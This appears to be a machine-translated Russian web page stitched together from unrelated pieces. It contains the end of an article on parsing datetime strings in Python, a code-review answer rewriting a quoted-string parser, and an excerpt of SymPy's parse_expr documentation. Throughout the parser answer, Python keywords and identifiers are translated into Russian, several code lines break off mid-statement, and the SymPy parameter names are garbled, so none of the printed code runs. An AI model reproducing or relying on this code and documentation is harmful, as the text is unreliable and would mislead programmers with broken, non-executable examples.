    Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Π°Π»ΠΈ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ способы синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π° строки для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° datetime Π² Python. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΡΡ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΡƒΡŽ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ Python datetime ΠΈΠ»ΠΈ Π»ΡŽΠ±ΡƒΡŽ ΠΈΠ· сторонних Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ, упомянутых Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅, срСди ΠΌΠ½ΠΎΠ³ΠΈΡ… Π΄Ρ€ΡƒΠ³ΠΈΡ….

    Основная ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° с ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠΌ datetime ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π° ΠΏΠΎΡ‡Ρ‚ΠΈ для всСх строковых Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ² Π΄Π°Ρ‚Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ.Π˜Ρ‚Π°ΠΊ, Ссли ваш строковый Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ измСнится Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ, Π²Π°ΠΌ, вСроятно, Ρ‚Π°ΠΊΠΆΠ΅ придСтся ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ свой ΠΊΠΎΠ΄. Но ΠΌΠ½ΠΎΠ³ΠΈΠ΅ сторонниС Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ упомянутыС здСсь, ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ это автоматичСски.

    Π•Ρ‰Π΅ ΠΎΠ΄Π½Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΡ‹ сталкиваСмся, связана с часовыми поясами. Π›ΡƒΡ‡ΡˆΠΈΠΉ способ ΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡ с Π½ΠΈΠΌΠΈ - всСгда ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ врСмя Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ UTC, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΈ нСобходимости ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² мСстный часовой пояс ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.

    Π­Ρ‚ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΈ для синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π° строк, Π½ΠΎ ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для мноТСства Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ, связанных с Π΄Π°Ρ‚ΠΎΠΉ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ.Π― Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΡŽ Π²Π°ΠΌ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.

    python - синтаксичСский Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ строки Π² ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠ°Ρ…

    Π’ Ρ‡Π΅ΠΌ прСимущСство вашСго класса ParserState ?

    ЕдинствСнноС свойство, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ я Π΄ΡƒΠΌΠ°ΡŽ, Ρ…ΠΎΡ€ΠΎΡˆΠΎ, это Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ, это символ , всС ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ просто ΡˆΡƒΠΌΡΡ‚ ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΡƒΠΉΡ‚ΠΈ.
    Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠ±Ρ€ΠΎΡΠΈΡ‚ΡŒ word всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ push_word , ΠΈ ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ добавляСтС ΠΈΠ»ΠΈ push_character , Π²Ρ‹ просто Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π½Π°ΠΆΠ°Ρ‚ΡŒ Π½Π° символ.Π˜Ρ‚Π°ΠΊ, Ссли Ρƒ вас Π±Ρ‹Π»ΠΎ , Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ, я Π±Ρ‹ использовал ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:

      класс ParserState (ΠΎΠ±ΡŠΠ΅ΠΊΡ‚):
        def __init __ (сам, тСкст):
            self.text = тСкст
            self.index = 0
            self.state = State.space
            self.quote = ''
            self.word = ''
            self.words = []
    
        @свойство
        def пСрсонаТ (self):
            Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ self._text [self.index]
    
        def push_word (self, allow_empty = False):
            Ссли allow_empty или self.word:
                self.words.append (собствСнноС слово)
            сСбя.слово = ''
    
        def append (сам):
            self.word + = self.character
      

    Однако это Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ прСимущСств ΠΏΠ΅Ρ€Π΅Π΄ объСдинСниСм Π΅Π³ΠΎ с синтаксичСским Π°Π½Π°Π»ΠΈΠ·ΠΎΠΌ ΠΈ сохранСниСм СдинствСнной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.
    На самом Π΄Π΅Π»Π΅ это ΠΌΠ΅ΡˆΠ°Π΅Ρ‚ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ.
    Π― Π±Ρ‹ объСдинил ΠΈΡ… вмСстС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ:

      def parse (тСкст):
        тСкст = тСкст
        индСкс = 0
        state = State.space
        Ρ†ΠΈΡ‚Π°Ρ‚Π° = ''
        слово = ''
        слова = []
    
        пока индСкс  

    Для пСрСчислСния я Π±Ρ‹ использовал ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π²ΠΎ всСх вСрсиях 2.7, Π° Π½Π΅ Ρ‚ΠΎΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² послСднСй вСрсии.
    Π― использовал ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ ΠΎΡ‚Π²Π΅Ρ‚Π΅, Π½ΠΎ это Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ большого значСния.ΠŸΡ€ΠΎΡΡ‚ΠΎ ΠΈΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ я ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ рСгистра, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΡΠ²Π»ΡΡŽΡ‚ΡΡ константами .

    Π― Π±Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ использовал char Π² string.whitespace вмСсто использования рСгулярного выраТСния, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ удаляСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΈ являСтся простым Π² .

    Π˜Ρ‚Π°ΠΊ, для всСго Π±Π°Ρ€Π° я ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ:

      ΠΈΠ· строки ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹
    
    def enum (* ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ, ** Π½Π°Π·Π²Π°Π½Π½Ρ‹ΠΉ):
        enums = dict (zip (ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ, Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ (len (ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ))), ** ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ)
        Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ Ρ‚ΠΈΠΏ ('Enum', (), enums)
    
    БостояниС = пСрСчислСниС ('ΠŸΠ ΠžΠ‘Π•Π›', 'Π‘Π›ΠžΠ’Πž', 'ЦИВАВА')
    TOKEN_ESCAPE = '\\'
      

    Π’Π°ΡˆΠ° функция Π΅Ρ‰Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½Π°.ИзмСнСния, внСсСнныС Π²Π°ΠΌΠΈ ΠΏΠΎ ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΠΎΠΌ:

    • ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅Ρ‚ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ² ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ.
    • ВынСсСно Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ послСднСго слова ΠΈΠ· Ρ†ΠΈΠΊΠ»Π°, Π½ΠΎ ΡƒΠ±Ρ€Π°Π½Ρ‹ Π΅Π³ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ.

    ПослСднСС Π½Π°ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρƒ нСплохая идСя, Π½ΠΎ Π½ΠΈ ΠΎΠ΄Π½Π° ΠΈΠ· Π½ΠΈΡ… Π½Π΅ слишком Ρ…ΠΎΡ€ΠΎΡˆΠ°.
    ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅Ρ‚ ΠΊΠΎΠ΄ ΠΈΠ· Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² состояний Π±Π΅Π· ΡƒΠ²Π°ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Ρ‹.
    Π’Ρ‚ΠΎΡ€ΠΎΠΉ снимаСт ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ.

    Π˜Ρ‚Π°ΠΊ, я Π±Ρ‹ вСрнулся ΠΊ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Ρƒ ΠΊΠΎΠ΄Π° Go 1: 1.
    Однако вмСсто использования ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Ρ†ΠΈΠΊΠ»Π° while я Π±Ρ‹ использовал способ ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€Π°.

      индСксов = iter (Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ (len (тСкст)))
    для индСкса Π² индСксах:
        Ссли (ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ тСст):
            ΠŸΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ
        Ссли (ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΉ тСст):
            index = next (индСксы)
      

    ВмСсто вашСго Π½Ρ‹Π½Π΅ΡˆΠ½Π΅Π³ΠΎ ΠΎΠ±Ρ€Π°Π·Π°:

      индСкс = 0
    пока индСкс  

    ΠŸΠ΅Ρ€Π²ΠΎΠ΅ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ Π»Π°ΠΊΠΎΠ½ΠΈΡ‡Π½ΠΎ.
    И поэтому Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΡ‚ΡŒ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΡƒ прСобразования ΠΊΠΎΠ΄Π° Go Π² этой Ρ„ΠΎΡ€ΠΌΠ΅:

      def parse (тСкст):
        слова = []
        word = []
        состояниС = БостояниС.КОБМОБ
        Ρ†ΠΈΡ‚Π°Ρ‚Π° = ''
        allow_blank = Π›ΠΎΠΆΡŒ
    
        индСксы = iter (Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ (len (тСкст) + 1))
        для индСкса Π² индСксах:
            Ссли index! = len (тСкст):
                char = тСкст [индСкс]
    
            Ссли состояниС State.SPACE:
                Ссли index == len (rest):
                    ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π°
                Ссли символ Π² ΠΏΡ€ΠΎΠ±Π΅Π»Π΅:
                    ΠŸΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ
                state = State.WORD
    
            if (состояниС State.WORD ΠΈΠ»ΠΈ состояниС State.QUOTE) ΠΈ index == len (тСкст):
                Ссли allow_blank или слово:
                    слова.append ('.ΠΏΡ€ΠΈΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒΡΡ (слово))
                ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π°
    
            Ссли состояниС State.WORD:
                Ссли символ Π² ΠΏΡ€ΠΎΠ±Π΅Π»Π΅:
                    state = State.SPACE
                    Ссли allow_blank или слово:
                        words.append (''. join (слово))
                    word = []
                    allow_blank = Π›ΠΎΠΆΡŒ
                    ΠŸΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ
                Ссли символ в '\' "':
                    quote = char
                    allow_blank = Π˜ΡΡ‚ΠΈΠ½Π°
                    state = State.QUOTE
                Ссли char == TOKEN_ESCAPE:
                    Ссли pos + 1 == len (тСкст):
                        ΠŸΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ
                    слово.Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ (символ)
                    индСкс + = 1
                    char = тСкст [индСкс]
                word.append (символ)
                ΠŸΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ
    
            Ссли состояниС State.QUOTE:
                Ссли char == Ρ†ΠΈΡ‚Π°Ρ‚Π°:
                    state = State.WORD
                Ссли char == TOKEN_ESCAPE и quote! = '\' ':
                    Ссли pos + 1 == len (тСкст):
                        ΠŸΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ
                    word.append (символ)
                    индСкс + = 1
                    char = тСкст [индСкс]
                word.append (символ)
        ΠΎΡ‚Π²Π΅Ρ‚Π½Ρ‹Π΅ слова
      

    ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹ Π½Π΅ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΠΌ Ρ€Π΅Ρ†Π΅Π½Π·ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° Π΄Ρ€ΡƒΠ³ΠΈΡ… людСй, я Π½Π΅ Π±ΡƒΠ΄Ρƒ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ этот ΠΊΠΎΠ΄.Однако я ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ» Π΅Π³ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:

    1. Π’Ρ‹Π²Π΅Π΄ΠΈΡ‚Π΅ послСднСС присоСдинСниС ΠΈΠ· Ρ†ΠΈΠΊΠ»Π°. Но Ρ‡Π΅ΠΊΠΈ сохранил. ВсС ΠΎΠ½ΠΈ.
    2. Π£Π΄Π°Π»Π΅Π½Ρ‹ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ индСкса.
    3. Из ΠΊΠΎΠ΄Π° ΡƒΠ΄Π°Π»Π΅Π½ индСкс.
    4. ОбъСдинСн код TOKEN_ESCAPE .

    Π§Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π»ΠΎ ΠΊ:

      ΠΈΠ· строки ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹
    
    def enum (* ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ, ** Π½Π°Π·Π²Π°Π½Π½Ρ‹ΠΉ):
        enums = dict (zip (ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ, Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ (len (ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ))), ** ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ)
        Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ Ρ‚ΠΈΠΏ ('Enum', (), enums)
    
    БостояниС = пСрСчислСниС ('ΠŸΠ ΠžΠ‘Π•Π›', 'Π‘Π›ΠžΠ’Πž', 'ЦИВАВА')
    TOKEN_ESCAPE = '\\'
    
    def parse (тСкст):
        слова = []
        word = []
        состояниС = БостояниС.КОБМОБ
        Ρ†ΠΈΡ‚Π°Ρ‚Π° = ''
        allow_blank = Π›ΠΎΠΆΡŒ
    
        text_ = iter (тСкст)
        для символа в text_:
            Ссли состояниС State.SPACE:
                Ссли символ Π² ΠΏΡ€ΠΎΠ±Π΅Π»Π΅:
                    ΠŸΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ
                state = State.WORD
    
            Ссли состояниС State.WORD:
                Ссли символ Π² ΠΏΡ€ΠΎΠ±Π΅Π»Π΅:
                    state = State.SPACE
                    Ссли allow_blank или слово:
                        words.append (''. join (слово))
                    word = []
                    allow_blank = Π›ΠΎΠΆΡŒ
                    ΠŸΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ
                Ссли символ в '\' "':
                    quote = char
                    allow_blank = Π˜ΡΡ‚ΠΈΠ½Π°
                    состояниС = БостояниС.Π¦Π˜Π’Π˜Π ΠžΠ’ΠΠ’Π¬
            состояниС elif - State.QUOTE:
                Ссли char == Ρ†ΠΈΡ‚Π°Ρ‚Π°:
                    state = State.WORD
    
            Ссли char == TOKEN_ESCAPE ΠΈ ((состояниС State.WORD) ΠΈΠ»ΠΈ
                                         (состояниС State.QUOTE ΠΈ Ρ†ΠΈΡ‚Π°Ρ‚Π°! = '\' ')):
                new_char = ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ (тСкст_, StopIteration)
                Ссли new_char - StopIteration:
                    ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π°
                word.append (символ)
                char = new_char
            word.append (символ)
    
        if (состояниС State.WORD ΠΈΠ»ΠΈ состояниС State.QUOTE):
            Ссли allow_blank или слово:
                слова.append (''. join (слово))
    
        ΠΎΡ‚Π²Π΅Ρ‚Π½Ρ‹Π΅ слова
    
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (синтаксичСский Π°Π½Π°Π»ΠΈΠ· ('Ρ„Ρƒ'))
    print (parse ('foo bar'))
    print (parse ('foo bar \' abc xyz \ ''))
    print (parse ('foo bar "abc xyz"'))
    print (parse ('foo bar "abc xyz" \\'))
    print (parse ('foo bar "abc \\" def \\ "xyz"'))
      

    Анализ

    - докумСнтация SymPy 1.7.1

    Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΠΈΠΊ ΠΏΠΎ функциям синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π°

    sympy.parsing.sympy_parser. parse_expr ( s , local_dict = None , transformations = ( , , , ) , global_dict = None , Assessment = True ) [источник]

    ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ строку s Π² Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ SymPy, Π² local_dict

    ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹

    с : ΡƒΠ»

    local_dict : dict, Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ

    Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… для использования ΠΏΡ€ΠΈ синтаксичСском Π°Π½Π°Π»ΠΈΠ·Π΅.

    global_dict : dict, Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ

    Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ это ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ
    с ΠΎΡ‚ sympy import * ; ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΡŒΡ‚Π΅ этот ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ
    это ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, для синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π° Β«Q&SΒ» ).

    ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΉ : ΠΊΠΎΡ€Ρ‚Π΅ΠΆ, Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ

    ΠšΠΎΡ€Ρ‚Π΅ΠΆ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ прСобразования, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… для измСнСния Ρ‚ΠΎΠΊΠ΅Π½ΠΎΠ²
    ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΡ†Π΅Π½ΠΊΠΎΠΉ.ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΡ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ
    ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ числовыС Π»ΠΈΡ‚Π΅Ρ€Π°Π»Ρ‹ Π² ΠΈΡ… эквивалСнты SymPy, ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ
    Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π² символы SymPy ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ стандартныС
    матСматичСская запись Ρ„Π°ΠΊΡ‚ΠΎΡ€ΠΈΠ°Π»Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, x! ).

    ΠΎΡ†Π΅Π½ΠΊΠ° : bool, Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ

    ΠŸΡ€ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ False порядок Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² останСтся Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Π²
    строка ΠΈ автоматичСскоС ΡƒΠΏΡ€ΠΎΡ‰Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ происходит, это
    ΠΏΠΎΠ΄Π°Π²Π»Π΅Π½. (см. ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹)

    ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹

     >>> ΠΎΡ‚ sympy.parsing.sympy_parser import parse_expr
    >>> parse_expr ("1/2")
    1/2
    >>> Ρ‚ΠΈΠΏ (_)
    <класс 'sympy.core.numbers.Half'>
    >>> from sympy.parsing.sympy_parser import standard_transformations, \
    ... implicit_multiplication_application
    >>> трансформации = (стандартныС_прСобразования +
    ... (нСявноС_ΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅_ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅,))
    >>> parse_expr ("2x", прСобразования = прСобразования)
    2 * Ρ…
     

